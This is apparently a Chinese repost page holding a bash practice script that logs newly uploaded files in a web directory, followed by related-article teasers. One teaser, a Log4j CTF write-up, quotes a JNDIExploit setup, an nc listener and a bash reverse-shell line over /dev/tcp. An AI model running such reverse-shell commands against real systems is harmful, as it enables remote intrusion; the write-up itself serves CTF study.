shell practice 07

news/发布时间2024/5/16 19:47:41
#!/bin/bash
# author: ChiWeiming
# version: v1
# date: 2024-03-29<<COMMANT
有一台 WEB 服务器上的目录,不定时有用户往该目录上传文件,现在需要每隔 5 分钟检查一下是否有新文件上传,有的话需要将新文件的列表输出到一个按年月日时分的日志文件中。
COMMANTfile_suffix=$(date +%Y%m%d%H%M)
dir="/data/web/attachment"find ${dir} -type f -mmin -5 > /tmp/newf.txtif [[ -s /tmp/newf.txt ]]; then/bin/mv /tmp/newf.txt /tmp/${file_suffix}
fi

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ulsteruni.cn/article/67027042.html

如若内容造成侵权/违法违规/事实不符,请联系编程大学网进行投诉反馈email:xxxxxxxx@qq.com,一经查实,立即删除!

相关文章

二手交易平台原型图

二手交易平台原型图绘制 墨刀、Axure、Mockplus等原型设计工具优缺点分析Axure优点:强大的编辑功能,便于制作素材库。 快速的复制粘贴,素材库和原型库丰富。 项目共享功能,方便同事间同步工作,保留所有工作历史。 可以生成历史版本的项目文档。缺点:正版的Axure售价高,对…

pycharm2020.1在ubuntu20.04上的安装操作

1. 下载pycharm linux版本(本文在linux 2020.1版本测试)https://download-cdn.jetbrains.com/python/pycharm-professional-2020.1.tar.gz 2.移动tar.gz安装包到ubuntu18.04目录(例如/root/),解压tar -zxvf pycharm-professional-2020.1.tar.gz # 解压3.运行进到pycharm安…

[转帖]windows batch cmd命令行之 for命令

https://www.cnblogs.com/hjbf/p/13572157.html for循环命令 基本用法:格式:FOR [参数] %%变量名 IN (相关 字符串集 或文件集 或命令返回结果集) DO 执行的命令help for 对一组文件中的每一个文件执行某个特定命令。FOR %variable IN (set) DO command [command-parameters]%v…

两表关联查询:sql、mybatis

MySQL 8.0.33 mybatis 3.5.15 mybatis-plus 3.5.5 ---序章 功能:给文本内容打标签。 文本表:text,主键 uuid,还有 content 字段。 文本标签表:text_tag,主键uuid,字段text_uuid 为 text表的主键,还有 tag_name 字段——标签名。 ben发布于博客园 需求: 查找包含所有 标…

web-wp

Log4j复现 进入题目在vps上启动一个简易的ldap服务,用JNDIExploit脚本 vps启动服务 java -jar JNDIExploit-1.4-SNAPSHOT.jar -i vpsip -l 1389 -p 8180在开一个会话监听端口 nc -lvvp 4567构造脚本注入,base64编码bash反弹脚本bash -i >& /dev/tcp/ip/4567 0>&…

3.RabbitMQ高级集群搭建(Haproxy负载均衡、Keepalived高可用)

前言 RabbitMQ集群搭建。 1.RabbitMQ集群原理 RabbitMQ这款消息队列中间件产品本身是基于Erlang编写,Erlang语言天生具备分布式特性(通过同步Erlang集群各节点的magic cookie来实现)。因此,RabbitMQ天然支持Clustering。这使得RabbitMQ本身不需要像ActiveMQ、Kafka那样通过…